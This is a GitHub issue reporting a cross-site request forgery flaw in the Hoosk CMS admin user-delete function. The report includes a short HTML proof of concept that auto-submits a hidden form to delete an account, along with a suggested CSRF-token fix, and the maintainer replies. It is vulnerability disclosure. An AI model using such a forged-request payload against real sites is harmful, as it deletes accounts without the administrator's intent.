Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Hi,bro.I also find an csrf issue in admin page.
When attacker induce authenticated admin user to a malicious web page, any accounts can be deleted without admin user's intention.
how to reproduce the issue.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://demo.hoosk.org/admin/users/delete/userid" method="POST"> <input type="hidden" name="deleteid" value="userid" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
userid is very easy to guess.
3.And account userid = userid is delete without admin user's intention.
userid
how to fix this issue. set csrf token to protect delete function.
The text was updated successfully, but these errors were encountered:
Thanks for the issues you raised. I'm finally getting time to work on this now lol
Sorry, something went wrong.
you're welcome bro!
Successfully merging a pull request may close this issue.
Hi,bro.I also find an csrf issue in admin page.
When attacker induce authenticated admin user to a malicious web page, any accounts can be deleted without admin user's intention.
how to reproduce the issue.
userid is very easy to guess.
3.And account userid =
useridis delete without admin user's intention.how to fix this issue.
set csrf token to protect delete function.
The text was updated successfully, but these errors were encountered: